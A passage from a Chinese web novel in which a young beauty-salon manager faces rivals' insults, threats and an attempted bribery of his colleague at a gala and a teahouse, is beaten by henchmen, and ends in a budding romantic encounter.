“嫂子,你离婚的事,林强的律师今天联系你了吗?”
“联系了。”
“怎么说?
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”
“他说林强同意离婚,但是条件是我放弃所有共同财产。”
“你答应了?”
“没有,我说我要请律师。”
“好样的。”
“小远。”
“嗯?”
“谢谢你。”
“谢什么?”
“谢谢你今天来开发区。谢谢你帮我赶走那些人。谢谢你——”
她顿了顿:“谢谢你让我觉得,我不是一个人。”
“嫂子,你从来都不是一个人。”
她没回,过了很久,发了一个字:“嗯。”
回到滨海的时候,已经是凌晨一点了。
我把车停在美容院后面的巷子里,熄了火,坐在驾驶座上,看着挡风玻璃外的夜色。
手机又震了,秦红的消息:“找到了?”
“找到了。”
“她怎么样?”
“没事,在医院陪她妈。”
“她妈怎么了?”
“肾病,要做透析。”
秦红沉默了一会儿,发了一条语音。
我点开,她的声音从手机里传出来:“林远,你打算怎么处理她?”
“让她先陪她妈,等这边的事完了,她想回来就回来。”
“她要是把假数据的事告诉李曼呢?”
“她不会。”
“你这么确定?”
“红姐,她要是想说,早就说了。她没说,是因为她不想害我。”
秦红沉默了很久。
“行,信你一次。”她说,“但你给我记住——如果她出卖你,我不会手软。”
“我知道。”
“下周三的晚宴,礼服准备好了吗?”
“没有。”
“明天我让人带你去买。”
“红姐——”
“别废话。你代表红颜去,不能给我丢人。”
“知道了。”
“还有,孙曼丽那边,已经在查你了。”
“查到了什么?”
“你的学历、你的工作经历、你和苏婉的关系。暂时还没查到什么见不得人的东西,因为她查的方向错了。”
“什么方向?”
“她以为你是我养的小白脸,所以查的是你和我的关系。”秦红的声音里带着一丝笑意,“但她不知道,你比我以为的聪明多了。”
“红姐,你这是夸我还是骂我?”
“夸你。也是骂我自己——看人的眼光还行。”
我笑了。
“行了,回去睡吧。”秦红说,“明天还有事。”
“红姐。”
“嗯?”
“谢谢你。”
“谢什么?”
“谢谢你让我开你的车,谢谢你帮小雅查她妈的医院。谢谢你——”
“别说了。”她打断我,“肉麻。”
第27章 私人会所
电话挂了,我坐在车里,看着手机屏幕慢慢暗下去。然后推开车门,走向宿舍。
宿舍的走廊很安静,声控灯一盏一盏地亮起来,又在我身后一盏一盏地灭掉。
我走到自己的房间门口,正要开门,隔壁的门开了。
秦红靠在门框上,穿着一件黑色的睡袍,手里夹着一支没点的烟。
“回来了?”
“嗯。”
“小雅那边,真的没事?”
“没事。”
她看着我,眼神复杂。
“林远,你知道你今晚犯了一个多大的错误吗?”
“什么错误?”
“你不该去找她。”她说,“你去找她,就说明你在乎她。你在乎她,她就有你的把柄。”
“她不是那种人。”
“你怎么知道?”
“我看人还行。”
秦红盯着我看了几秒,然后笑了。
“行,你说行就行。”她掐灭手里的烟,“去睡吧。明天下午,我带你去买衣服。”
“好。”
她转身要关门,又停下来。
“林远。”
“嗯?”
“你今天去开发区,见到苏婉了?”
“见到了。”
“她怎么样?”
“不太好。债主去店里**了。”
“我让人去处理。”
“不用了,我报了警,留了记录。下次他们再来,直接抓人。”
秦红点了点头。
“还有一件事。”
“什么?”
“她离婚的事,进展怎么样?”
“不顺利,林强让她净身出户。”
“她答应了吗?”
“没有。她说要请律师。”
秦红沉默了一下。
“律师的事,我来安排。”
“红姐——”
“别说了,苏婉跟我这么多年的关系,我不能看着她被人欺负。”
回到房间,我洗了澡,躺在床上,脑子里乱糟糟地睡不着。点了根烟,抽了一口就扔掉了。人在烦躁的时候,连抽烟的心情都没有。
很快就到了周三,晚宴在滨海市最顶级的私人会所——“澜公馆”。
这个地方我从没来过,甚至没听说过。车开进去的时候,门口的保安穿着燕尾服,白手套,看人的眼神像X光,从上到下扫一遍,确认你是“对的人”,才放行。
秦红今天换了一身行头,酒红色的长裙,头发盘起来,露出一截白腻的脖颈。耳垂上挂着两枚细长的钻石耳钉,灯光一照,闪得人眼晕。她平时在店里穿得随意,黑色西装、平底鞋,像个普通的中年女人。
但今天不一样。今天她像是换了一个人——浑身上下散发着一种“别惹我”的气场。
“红姐,你今天……”我看着她,不知道该说什么。
“怎么了?”她低头看了看自己,“不好看?”
“好看。就是……”
“就是不习惯?”她笑了,“我也不习惯。但今天是沈若溪的场子,来的都是行业里有头有脸的人。我不能给你丢人。”她伸手给我整了整领带。领带是深蓝色的,配黑色西装,秦红选的。她说这样显得稳重,又不老气。
“走吧。”她挽住我的胳膊,“记住,少说话,多观察。不管谁说什么,别翻脸。沈若溪的代理权,比你的面子重要。”
“知道了。”
澜公馆的大厅灯火辉煌。水晶吊灯从三层楼高的天花板垂下来,像一座倒悬的塔,每一颗水晶都在发光。地面是大理石的,光可鉴人。
人已经到了不少,三三两两地聚在一起,端着酒杯,低声交谈。男人都是西装革履,女人都是珠光宝气。空气里飘着香槟和香水混合的味道,甜得发腻。
秦红带着我走进大厅,立刻有人迎上来。
“秦总!好久不见!”一个五十多岁的男人伸出手,笑得满脸褶子,“听说你最近生意不错?”
“托王总的福。”秦红笑着和他握手,“这是我店里的运营总监,林远。”
“运营总监?”王总上下打量了我一眼,目光从我的脸扫到脚,又从脚扫回脸上,嘴角挂着一丝若有若无的笑,“这么年轻?秦总,你从哪儿挖来的人才?”
“乡下挖来的。”秦红看了我一眼,嘴角带着笑,“土是土了点,但好用。”
“乡下?”王总笑了,那笑容里带着一种居高临下的意味,“难怪看着面生,小伙子滨海可不是乡下,在这儿混,光靠土劲儿可不行。”
“王总说得对,我还在学习。”我陪着笑
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,心里清楚——在这个场合,我就是秦红的“作品”。
她带我出来,不是让我出风头,是让别人看——看她的眼光,看她的手段,看她在培养新人。一个年轻、能干、听话的新人。这是一种炫耀。
但有些人,不买这个账。
晚宴正式开始前,有一个简短的鸡尾酒会。宾客们三三两两地聚在一起,秦红带着我穿梭其间,见了一个又一个的人。
每个名字我都努力记住,每张脸我都努力对号入座。但人太多了,名字太多了,脸也太多了,转了一圈下来,脑子里成了一锅粥。
“红姐,刚才那个穿灰西装的是谁?”我低声问。
“卫生局的副局长,姓刘。”秦红也压低声音,“别去招惹他,但也别得罪他。他那个人,官不大,架子不小。”
果然,当我们走到刘副局长面前时,他正端着酒杯和几个人说话。看到秦红,他点了点头,算是打过招呼,目光落到我身上时,眉头皱了一下。
“秦总,这是你的人?”
“是的,刘局。我们红颜的运营总监,林远。”
“运营总监?”刘副局长端着酒杯,连手都没伸出来,目光在我身上扫了一遍,像是在看一件不太满意的商品,“看着像个学生。秦总,你店里现在都招童工了?”
旁边几个人笑了起来。那笑声不大,但每一个音节都像针一样扎在耳朵里。
“刘局说笑了,林远是省城大学的大学生,正经科班出身。”秦红脸上的笑容不变,但我能感觉到她的身体微微绷紧了。
“大学生?”刘副局长抿了一口酒,语气漫不经心,“现在的大学生,一抓一大把。我们局里去年招了几个,连个公文都写不明白。秦总,你可得好好培养,别到时候给你惹麻烦。”
“刘局放心,林远很能干。”
“能干?”他上下打量了我一番,又看了一眼秦红,嘴角挂着一个意味深长的弧度,他理解的那种能干,恐怕跟工作无关。
“行啊小伙子,能干就多干一些!”
“谢谢刘局指点。”我低着头,声音尽量平静。
他点了点头,转身跟别人说话去了,像是刚才那几句话已经是他能给我的最大恩赐。
第28章 当面挑衅
秦红拉着我走开了:“别往心里去。”
她低声说:“他就是这种人。在他眼里,我们都是求他办事的。”
“我知道。”
“知道就好。”她叹了口气,“这还不是最难听的。今晚,你还会听到更难听的。”
我没说话,但拳头在口袋里攥紧了。
晚宴正式开始的时候,沈若溪上台致辞。她今晚穿了一件白色的西装,头发剪得更短了,露出精致的耳廓。
没有戴耳钉,没有戴项链,只在左手无名指上戴了一枚简单的银戒指。站在台上,灯光打在她身上,她整个人像是会发光。
“感谢各位来参加今晚的晚宴。”她的声音不大,但很清晰,每个字都像是在你耳边说的。
“澜曦进入中国市场三年了,这三年里,感谢各位的支持和陪伴。未来三年,澜曦要在华东区寻找新的合作伙伴。标准只有一个——谁能让澜曦在华东区的市场份额翻倍,谁就是我们的合作伙伴。”
台下响起一阵低语。“翻倍?这也太难了吧?”“沈若溪这是要逼**的节奏。”“谁要是能做到,那还不是躺着赚钱?”
秦红端着酒杯,面无表情。但我注意到,她握杯子的手在用力。翻倍这不仅仅是挑战,这是筛选。沈若溪在筛掉那些没胆量、没能力、没资源的人。留下的,才是她想合作的。
“红姐,我们能做得到吗?”我低声问。
“不知道。”秦红说,“但不管做不做得到,先拿下代理权再说。”
“拿下了做不到呢?”
“那就想办法做到。”她看了我一眼,“做生意,从来都是先开枪,后画靶子。”
我愣了一下,然后笑了。
“红姐,你这话要是让沈若溪听到了,她非气死不可。”
“她听不到。”秦红也笑了,“就算听到了,她也不会生气,因为她也是这么干的。”
晚宴进行到一半的时候,一个穿着红色旗袍的女人端着酒杯走了过来。她四十多岁,保养得宜,脸上化着精致的妆,但那双眼睛里的傲慢,是化妆品遮不住的。
秦红在我耳边低声说:“周太太,周太的小姑子。老公是规划局的,手里有批文的权。嘴毒,眼高,不好惹。”
之前在别墅的时候,我也见过一个周太太,记得是什么美容协会的。
这个周太太感觉比之前那个架子还大,走到面前上下打量了我一眼,那种目光像是在看一件摆在橱窗里的商品——但又不太满意。
“秦总,这就是你带的那个小伙子?”她的声音又尖又亮,半个大厅都能听到。
“是的,周太太。林远,我们红颜的运营总监。”
“运营总监?”她笑了,笑声里带着明显的嘲讽,“秦总,你这店里是没人了吗?怎么找个毛头小子当总监?我上次去你店里做护理,那个叫小周的美容师手法就不错,你怎么不提拔她?”
“小周是美容师,林远是管理岗,不一样。”
“有什么不一样的?”周太太抿了一口酒,目光在我身上扫来扫去,“男人在美容院里能干什么?端茶倒水?还是陪客人聊天?”她故意在“陪客人”三个字上加重了语气,旁边几个太太掩嘴偷笑。
“周太太,林远是我们红颜的运营总监,负责的是整体运营和管理——”秦红试图解释。
“行了行了,我又不是来听你汇报工作的。”周太太不耐烦地挥了挥手,像在赶一只苍蝇,“我就是好奇,你带这么个小伙子来这种场合,是想让他见见世面,还是想让他——”
她顿了顿,嘴角挂着一个意味深长的笑,“——钓个富婆?”
这话说得很难听,周围几个人的目光都落在我身上,有好奇的,有幸灾乐祸的,也有同情的。我的脸烧得厉害,但还是忍着没有开口。
秦红的手搭在我的胳膊上,轻轻按了一下,示意我不要说话。
“周太太说笑了。”秦红笑着,但笑容已经有些僵硬,“林远是来学习的,沈总那边有个项目,他在跟进。”
“沈总?沈若溪?”周太太挑了挑眉,“哟,小伙子,你还挺有本事,能搭上沈若溪那条线?”
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她端着酒杯,走到我面前,离我很近。近到我能看清她眼角细密的皱纹,和嘴唇没抹匀的口红,“小伙子,我跟你说,沈若溪那个人,不好伺候。你要是能把她伺候好了,那才叫真本事。”
她的手搭在我的肩膀上,轻轻拍了拍,像是在拍一个听话的宠物。
“好好干,小伙子。滨海这个地方,机会多的是。就看你能不能抓得住。”她转身走了,留下一串咯咯的笑声。
秦红看着我,眼神复杂。
“没事吧?”
“没事。”我说,声音很平静,但手心全是汗。
“你比我想的能忍。”
“不是你教的吗?沈若溪的代理权,比我的面子重要。”
秦红看着我,嘴角动了一下,像是在笑,又像是在心疼。
晚宴快结束的时候,孙曼丽终于出现了。她穿着一件墨绿色的旗袍,旗袍上绣着大朵大朵的牡丹花,颜色艳得刺眼。
头发盘得一丝不苟,脖子上挂着一串翡翠珠子,每一颗都有拇指那么大。她身边跟着一个女人——李曼。李曼今晚穿了一件黑色的连衣裙,低调,但剪裁极好,把她的身材勾勒得凹凸有致。
她比孙曼丽年轻,也比孙曼丽危险。孙曼丽是明枪,李曼是暗箭。
“哟,秦总。”孙曼丽走过来,目光在秦红身上扫了一圈,“今天穿得挺漂亮啊,怎么,今晚有目标?”
“孙总说笑了。”秦红端着酒杯,笑容不变,“我就是来凑个热闹。”
“凑热闹?”孙曼丽笑了,目光落到我身上,“还带着你的小跟班?”她的眼神像刀子,在我脸上刮了一下。
“林远,你今晚穿得不错嘛。这身西装,是秦红给你买的?”她伸出手,扯了扯我的袖口,像是在检查布料的质量,“面料不错,剪裁也好。秦红对你是真舍得花钱。”
“孙总过奖了。”我往后退了半步,和她拉开距离。
“过奖?”她笑了,往前走了一步,“我还没说完呢。林远,你说你一个大小伙子,天天泡在女人堆里,不觉得憋屈吗?”
第29章 小雅出事儿了
“要不要来姐姐这边?姐姐店里也有男员工,但不像你,天天被一群老娘们儿围着。姐姐店里的男员工,那可都是——”孙曼丽顿了顿,嘴角挂着一个意味深长的笑,“——有头有脸的人物。”
“孙总的好意我心领了,我在红颜挺好的。”
“挺好的?”她端起酒杯抿了一口,“一个月五千块,住员工宿舍,叫挺好的?”
她放下酒杯,往前迈了一步,身体几乎贴上来。我能闻到她身上的香水味——混着酒气,熏得人头晕。她的手搭在我的肩膀上,显得跟我很熟似的。
“林远,你跟姐姐说实话,秦红是不是把你——”她压低声音,嘴唇几乎贴到我的耳朵,“——睡了?”
尼玛,我差点儿一句脏话飙出口,这女人真是啥都敢说。
“孙总,您喝多了。”
“我没喝多。”她笑了,收回手后退了一步,“我就是好奇,你这么拼命帮她,图什么?钱?她给不了你多少。权?你一个小年轻,能有什么权?”
她端起酒杯,看着我,眼神里带着一种让人说不清的东西,“还是说,你图她这个人?”
“孙总,秦总是我的老板,也是我的恩人。”
“恩人?”她笑了,笑声里带着一丝嘲讽,“林远,你太年轻了。这世上,没有免费的恩情。她帮你,是因为你有用。等你没用了,她一脚把你踢开,你连哭的地方都没有。”
“来姐姐这边。”她的声音低了下来,带着一种让人心痒的磁性,“工资翻三倍,职位随你挑。你嫂子的官司,姐姐帮你找最好的律师。那些债主,姐姐帮你摆平。”
“只要你点头,这些都是你的。”
她抬起眼睛,看着我。那双眼睛在灯光下很亮,亮得像是要把人吸进去。
“孙总,您的好意我心领了。但我——”
“你什么?”她打断我,脸上的笑容突然收了起来,取而代之的是一种冷冽的、让人后背发凉的表情。
“林远,你以为你拒绝了,就没事了?”她往前走了一步,身体几乎贴着我,嘴唇凑到我的耳边,声音低得只有我能听到,“你知不知道,你今天拒绝了我,明天会付出什么代价?”
她的气息喷在我的耳朵上,热热的,痒痒的。
“你嫂子在开发区,一个人。那些债主,今天走了,明天还会来。你那个小雅——”她故意停顿了一下,“哦,你还不知道吧?小雅已经不在红颜了,她去了哪,你知道吗?”
我的心猛地一沉。
“孙总,你把小雅怎么了?”
“我没把她怎么样。”她笑了,退后一步,重新端起酒杯,“我只是给她指了一条明路。她是个聪明姑娘,知道怎么选。”
她抿了一口酒,看着我,眼神里带着一种猫捉老鼠的戏谑。
“林远,你是个聪明人。聪明人应该知道,选对边比能干更重要。”
她伸出手,帮我把额前的一缕头发拨到一边。
“我给你三天时间。好好想想。想通了,随时来找我。”
她转身走了,我站在原地,攥紧了拳头,指甲陷进掌心里,疼得厉害。
秦红走过来,脸色很沉。
“她跟你说什么了?”
“给我三天时间考虑。”
“考虑什么?”
“去她那边。”
秦红沉默了一会儿。
“你怎么说的?”
“我说我在红颜挺好的。”
她看着我,眼神复杂。
“林远——”
“红姐,我不会去的。”
“我知道你不会去。”她叹了口气,“但她说得对,你拒绝了,就没事了?”她看着孙曼丽离开的方向,“那个女人,从来不会善罢甘休。”
晚宴结束的时候,已经是晚上十点多了。
秦红喝了酒,不能开车。我扶着她在路边等代驾。
“林远。”她靠在我肩膀上,声音有些含糊。
“嗯?”
“孙曼丽是不是还跟你说了别的?”
“她提到了小雅。”
秦红的身体绷紧了。
“小雅怎么了?”
“她说她给小雅指了一条明路。”
“什么意思?”
“不知道。”我看着夜色,“但小雅肯定出事了。”
秦红沉默了一会儿。
“明天我去查。”
“红姐,不用了。小雅的事,我自己处理。”
“你处理?”她抬起头,看着我,“你怎么处理?”
“我欠她的。”
秦红盯着我看了几秒,然后笑了。那笑容里有一种说不清的东西。
“林远,你这个人。”她轻声说,“有时候真让人心疼。”
“红姐——”
“别说了。”她闭上眼睛,靠在我肩膀上,“让我靠一会儿,就一会儿。”
她的头发蹭着我的下巴,痒痒的。我就那么站着,一动不动。
我俩都喝了酒不能开车,就叫了代价。等代驾来了,我把秦红扶上车,自己坐在副驾驶。
车子驶出停车场,汇入车流。滨海市的夜晚灯火辉煌,霓虹灯把整条街照得像白天一样亮。
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手机震了。苏婉的消息:“小远,晚宴结束了吗?”
“结束了。在回去的路上。”
“顺利吗?”
“还行。孙曼丽找我了。”
“她说什么了?”
“让我去她那边。工资翻三倍,职位随我挑。”
“你怎么说的?”
“我说我在红颜挺好的。”
苏婉发了一个笑脸。
“嫂子。”
“嗯?”
“我想你了。”
这一次,我没有撤回。
过了很久,她回了一个字:“嗯。”
我看着屏幕,笑了。
代驾的车开得很稳,秦红在后座睡着了,呼吸均匀。
我靠在座椅上,闭上眼睛。
孙曼丽要让我付出代价,她会怎么做?找人打我一顿?在行业内**红颜?还是对苏婉下手?
我不知道。但我知道,三天之内,她一定会动手。在那之前,我得做好准备。
我没挨打,苏婉那边暂时也没有麻烦,就在我以为平安无事的时候小雅的电话突然打了过来:“林远,李曼找我了,她们让我指认你。”
然后电话就断了。
我整个人像被一盆冰水从头浇到脚。回拨过去,无人接听。再拨,还是无人接听。我打小雅的手机,关机。打李曼的手机,没人接。
“怎么了?”秦红正好推门进来,看到我的脸色,脚步顿了一下。
“李曼找到小雅了。”我站起来,抓起桌上的车钥匙,“她说她们让小雅指认我。”
“指认你什么?”
“指认我出卖红颜的数据。”
秦红的脸一下子沉了下来。“林远,你别急。你现在去也来不及——”
“红姐,我必须去。”我打断她,声音比我想象的大,“小雅是因为我才被盯上的。如果我不去,她怎么办?”
秦红盯着我看了几秒,然后叹了口气。“你知道她在哪吗?”
“县医院。她妈在那住院。”
“你知道李曼把她带去哪了?”
“不知道。但到了县城,我就能找到。”
秦红沉默了一会儿,从抽屉里拿出一个信封扔给我。“里面有五千块现金,带上,万一用得着。”
“红姐——”
“别说了。”她挥了挥手,“去吧。但你给我记住——别逞能,打不过就跑,跑不了就报警。我这边也让人盯着,你到了给我发定位。”
我看着她,喉咙有点紧。“红姐,谢谢你。”
“谢什么?”她转过身,背对着我,“快去快回,别让我担心。”
第30章 李曼的报复
从滨海到县城,六十多公里。我开了不到半个小时,全程油门踩到底。
路上我给苏婉发了一条消息:“嫂子,我要去处理一件事。如果明天我没联系你,你就找红姐。”
苏婉的电话几乎是秒到。
“小远,你要干什么?”她的声音在发抖。
“没事。别担心。”
“你答应过我,别做傻事。”
“这不傻,这是该做的事。”
电话那头沉默了很久。然后她说了一句让我心里一震的话:“那你答应我,活着回来。”
“好。”
我挂了电话,把油门踩得更深。
到了县城,我先去了县医院。小雅母亲的病房空着,床铺收拾得整整齐齐,人不在。我问护士,护士说下午有几个女人来找小雅,把她带走了,她妈被转到了另一间病房。
“那几个女人长什么样?”
“一个年纪大点的,穿得很时髦,戴个大耳环。还有一个年轻点的,穿黑裙子,看着挺漂亮的。”护士看了我一眼,“你是她什么人?”
“弟弟。”
“那你赶紧去吧,你姐姐走的时候,眼睛红的,像是哭过。”
我攥紧了拳头。“她们去哪了?”
“不知道,但那个穿黑裙子的留了个电话,说是如果有人来找,就打这个电话。”
护士递给我一张纸条,上面写着一个手机号。我拨过去,响了三声,那边接了。
“曼姐,是我林远。”
电话那头沉默了一秒,然后李曼笑了。“哟,小朋友,消息挺灵通啊。你怎么知道我在县城?”
“小雅在哪?”
“你放心,她没事。就是在跟我喝茶聊天。”李曼的语气轻飘飘的,“你要是不放心,也过来坐坐?县城西边,清雅茶楼。你知道地方吗?”
“知道。二十分钟。”
“行,我等你。”
电话挂了。
清雅茶楼在县城西边的一条老街上,两层小楼,门面不大,但门口的停车场停着好几辆好车。我推门进去,一个穿旗袍的服务员迎上来。
“先生,几位?”
“找人。李曼女士订的包厢。”
服务员上下打量了我一眼,目光在我脸上的淤青上停了一下——那是前几天被开发区那几个混混打的,还没完全消肿。但她没多问,带我上了二楼。
包厢的门是推拉式的木门,上面雕着花。服务员敲了敲,里面传来李曼的声音:“进来。”
我推开门。
包厢很大,中间摆着一张红木茶桌。李曼坐在主位上,穿着一件黑色的针织衫,头发披着,手里端着一杯茶。她旁边坐着两个男人,一个光头,一个平头,都穿着黑色夹克,一看就不是善茬。
小雅坐在角落里,脸色苍白,眼睛红红的。看到我的那一刻,她的嘴唇动了一下,像是想说什么,但没说出来。
“林远,你还真来了。”李曼放下茶杯,嘴角挂着一个似笑非笑的弧度,“我还以为你不敢来。”
“曼姐叫我,我哪敢不来。”我走进去,在小雅旁边坐下,目光扫了一眼那两个男人,“这两位是——”
“我的人。”李曼端起茶杯抿了一口,“怕你来了不规矩,叫两个人看着。”
“曼姐多虑了。我在曼姐面前,一向规矩。”
李曼笑了,那笑容里带着一丝玩味。“林远,你今天来,是想干什么?”
“带小雅走。”
“带她走?”李曼放下茶杯,靠在椅背上,“她欠我的还没还清,你就想带她走?”
“她欠你什么?”
“她答应帮我做事,结果给的数据是假的。”李曼的目光冷了下来,“林远,你以为我不知道?那份数据是你做的假。小雅不过是个传话筒,真正骗我的人,是你。”
包厢里的空气像是凝固了。
我看着李曼的眼睛,沉默了几秒。
“曼姐说得对。数据是我做的假。小雅不知情。”
“你承认了?”
“我承认。”
李曼的眼神变了一下。她显然没想到我会这么干脆地承认。
“那你知不知道,骗我的人,要付出什么代价?”
“不知道。但不管什么代价,我扛。”
“你扛?”李曼笑了,笑声里带着一丝寒意,“林远,你拿什么扛?你一个乡下来的穷小子,一个月几千块工资,住员工宿舍,连件像样的衣服都买不起——你拿什么扛?”
她站起来,走到我面前,居高临下地看着我。
“林远,我姐看得起你,是给你面子。你别不识抬举。”
“曼姐,我没有不识抬举。”我抬起头,看着她的眼睛,“孙总的好意,我心领了。但我在红颜挺好的,不想换地方。”
“挺好的?”李曼冷笑,“秦红
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给你灌了什么**汤?”
“不是**汤。是信任。”
李曼盯着我看了几秒,然后转身走回座位,端起茶杯。
“行,你要扛是吧?”她抿了一口茶,“那我就给你一个机会。”
她放下茶杯,看着小雅。
“小雅,你过来。”
小雅的身体抖了一下。她看了看我,又看了看李曼,没有动。
“我叫你过来。”李曼的声音冷了几分。
“曼姐,”我开口,“你有什么事,跟我说。别为难她。”
“我没为难她。”李曼笑了,“我就是想让她做个选择。”
她从包里拿出一个信封,扔到桌上。
“这里面是五万块钱。小雅,你拿着这钱,给你妈治病。条件只有一个——”
她看着小雅,一字一句地说:“你去工商局举报林远,说他非法获取公民个人信息,倒卖**。”
我的心脏猛地一缩。
小雅的脸一下子白了。
“曼姐,这——”
“你别说话。”李曼打断我,眼睛始终盯着小雅,“小雅,你想清楚。你妈还在医院躺着,等着钱救命。你一个月工资几千块,够干什么的?这五万块,够你妈做半年的透析。”
她从包里又拿出一个信封,扔到桌上。
“这里还有五万。一共十万。只要你点头,都是你的。”
包厢里安静得能听到墙上挂钟的滴答声。
小雅低着头,肩膀在颤抖。
“小雅。”我叫她。
她抬起头,看着我。眼睛里有泪光,但没有掉下来。
“林远,我——”
“你不用选。”我说。
我站起来,走到李曼面前。
“曼姐,你要举报我,不用找小雅,你自己去就行了。”
李曼看着我,眼神复杂。
“你以为我不敢?”
“你当然敢。”我说,“但你不会去。因为你知道,举报我,就是把假数据的事抖出来。到时候警察一查,谁买的假数据、谁用的假数据、谁指使的——全都跑不掉。”
李曼的脸色变了。
“曼姐,你在丽人会干了这么多年,应该知道——做这种事的人,最怕的不是被抓,是被曝光。”我看着她的眼睛,“你不想让孙总知道,你在外面捅了这么大的篓子吧?”
李曼的嘴唇动了一下,想说什么,但没说出来。
第31章 压抑的情感
“曼姐,今天的事,就当没发生过。”我的声音很平静,“小雅我带走。假数据的事,你回去跟孙总说,是林远一个人干的,跟小雅没关系。”
“你以为你扛得住?”
“扛不扛得住,是我的事。”
李曼盯着我看了很久。
然后她笑了,那笑容里有一种说不清的东西——不是愤怒,不是欣赏,是一种奇怪的、介于两者之间的东西。
“林远,你这个人。”她摇了摇头,“有时候真的让人看不懂。”
她挥了挥手:“走吧。带着你的人走。”
我转身走到小雅面前,伸出手。
“小雅姐,走了。”
她抬起头看着我,眼泪终于掉了下来。
她握住我的手,站起来。她的手很凉,在发抖。
我拉着她往门口走。
“林远。”李曼在身后叫我。
我停下来,没有回头。
“你今天的表现,我会跟我姐说的。”她的声音从身后传来,“但她会不会放过你,我不知道。”
“没关系。”我说,“她放不放过我,我都会在红颜好好干。”
我拉开门,带着小雅走了出去。
刚走出茶楼的大门,身后传来急促的脚步声。
“林远,站住。”
我转过身,李曼没有出来,出来的是那两个男人——光头和平头。
“曼姐说了,你不能就这么走了。”光头搓了搓手,“你骗了曼姐,得留下点东西。”
小雅的脸一下子白了。“你们要干什么?”
“不干什么。”平头笑了,“就是教教这位小朋友怎么做人。”
他把手指掰得咔咔响。
“小雅姐,你往后退。”我把小雅拉到身后。
“林远——”
“退后。”
我往前走了一步,看着光头和平头。
“两位大哥,曼姐刚才说了让我们走,你们这是——”
“曼姐是曼姐,我们是我们。”光头笑了,“你骗了曼姐,我们这些当小弟的,不出这口气,以后怎么在曼姐面前混?”
他抬起手,一巴掌扇过来,我没躲。
巴掌扇在脸上,火辣辣的疼。嘴角破了,一股铁锈味在嘴里弥漫开来。
“林远!”小雅在身后尖叫。
“这一巴掌,是替曼姐打的。”光头说。
又一拳砸在肚子上,我弯下腰,胃里翻涌,差点吐出来。
“这一拳,是替我们兄弟打的。”
平头一脚踹在我的腿弯上,我单膝跪地,膝盖撞在水泥地上,疼得钻心。
“这一脚,是教你做人。”
他们继续打,拳头、脚、巴掌,一下一下地落在我身上。我没有还手——不是不想还,是还不了。两个人一身腱子肉,都是练过的,我一个文弱大学生,根本不是对手。
但我没有求饶。
我被打倒在地,爬起来,再被打倒,再爬起来。
每一次爬起来,光头的脸色就难看一分。
“**倒是躺下啊!”他一脚踹在我胸口,我撞在墙上,肺里的空气像被抽空了一样。
我靠着墙,慢慢地站起来。
“打完了吗?”我擦了擦嘴角的血,看着光头,“打完了,我带我的人走。”
光头的眼睛瞪得滚圆,抬起手又要打。
“够了。”
一个声音从身后传来。
李曼站在茶楼门口,手里夹着一支烟,脸上的表情看不清楚。
“曼姐,这小子——”
“我说够了。”李曼的声音不高,但每个字都像钉子,“让他们走。”
光头不甘心地放下手,瞪了我一眼。“小子,骨头挺硬啊!”
我转过身,走到小雅面前。她满脸是泪,手在发抖。
“走吧。”我说。
她扶着我,一步一步走向车子。
身后,李曼的声音飘过来:“林远,你有种。但我姐说得对,你这种人,不听话就得打,打到听话为止。”
我停下来,没有回头。
“那你们得打死我,打不死,我永远不听话。”
车子驶出县城,上了高速。
小雅坐在副驾驶,一直哭。我的脸很疼,肋骨也疼,握着方向盘的手在微微发抖。但我不敢停车——我怕停下来,就再也开不动了。
“林远,你为什么要来?”她哭着说,“你不来,她们不会打你。”
“因为你是因为我才被盯上的。”我说,声音有些含糊——嘴角破了,说话都疼,“我不来,我心里过不去。”
“可是你被打成这样——”
“没事。”我打断她,“又不是没被打过。”
她哭得更厉害了,到了县医院门口,已经是晚上九点多了。小雅下了车,扶着我在花坛边坐下。医院的院子里很
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安静,只有几盏路灯亮着。
“你等我一下。”她跑进医院,过了一会儿,拿着一个急救箱跑出来。
她蹲在我面前,用棉签蘸了碘伏,轻轻地擦我嘴角的伤口。碘伏碰到破皮的地方,疼得我龇了咧嘴。
“疼吗?”她的声音很轻。
“不疼。”
“骗人。”她的手在发抖,眼泪又掉下来了,“你嘴角都裂了,脸也肿了,眼睛也青了……你还说不疼。”
“真的不疼。”我说,“就是有点饿。”
她愣了一下,然后笑了。那笑容里带着眼泪,说不清是笑还是哭。
“你这个人,”她擦了擦眼睛,“都什么时候了,还想着吃。”
“人是铁,饭是钢。”
她给我处理完伤口,在我旁边坐下。两个人就那么坐着,看着院子里那棵老槐树,谁都没有说话。
夜风吹过来,凉飕飕的。她的头发被风吹起来,蹭着我的胳膊,痒痒的。
“林远。”她突然开口。
“嗯。”
“你为什么要对我这么好?”
“因为你对我好过。”
“我对你好?”她苦笑了一下,“我骗你、出卖你、差点害了你——这叫对你好?”
“你给我带过早餐、送过奶茶、陪我加过班。”我说,“那些都是真的。”
她沉默了。
“而且,”我顿了顿,“你说你喜欢我。不管是不是真的,那句话,我记住了。”
她的身体颤了一下。
“林远,我——”她的声音有些哑,“我说那句话的时候,是真的。”
“我知道。”
“你不知道。”她摇了摇头,“你以为我是在演戏。但那天晚上,在你办公室里,我说的每一句话,都是真的。”
她转过头,看着我。路灯的光照在她脸上,她的眼睛很亮,亮得像是有星星在里面。
“林远,我喜欢你。不是因为你能给我什么,是因为你让我觉得,这个世界上还有好人。”
她伸出手,轻轻地摸着我的脸。手指从额头滑到眉毛,避开那些伤口。
“你疼吗?”她问。
“不疼。”
“你又骗我。”
她慢慢地靠近,近到我能看清她瞳孔里的自己。
她的嘴唇贴上来,很轻,很软,带着眼泪的咸味。
我没有躲,是——不想躲了。
第32章 情感爆发
吻了很久,久到我忘了自己脸上的伤,忘了肋骨还在疼,忘了这个世界还有别的人。
她的手从我的脸滑到脖子,从脖子滑到胸口,解开了我衬衫的扣子,这次解得特别快。
“小雅姐——”我的声音有些哑。
“别说话。”她吻着我的下巴,吻着我的脖子,嘴唇一点一点往下移,在锁骨上停了一下,轻轻咬了一口,不疼但痒得让人发慌,“今晚别想那么多。”
她的身体很热,隔着那层薄薄的衣服,我能感觉到她心跳的速度——很快,快得像是在跑。
我伸出手,揽住了她的腰。她的腰很细,腰上的肉很软。我捏了一下,她轻轻地哼了一声,整个人软了下来,靠在我怀里。
“林远。”她的声音闷闷的,嘴唇贴着我的锁骨。
“嗯。”
“这里太冷了。”她抬起头,看着我:“我们去车里。好不好?”
我看着她,喉咙发紧。
“好。”
车门刚关上,外面的世界就被隔绝了。
县医院的停车场很暗,只有远处一盏路灯,车里很安静,能听到彼此的呼吸声——她的急促,我的沉重。
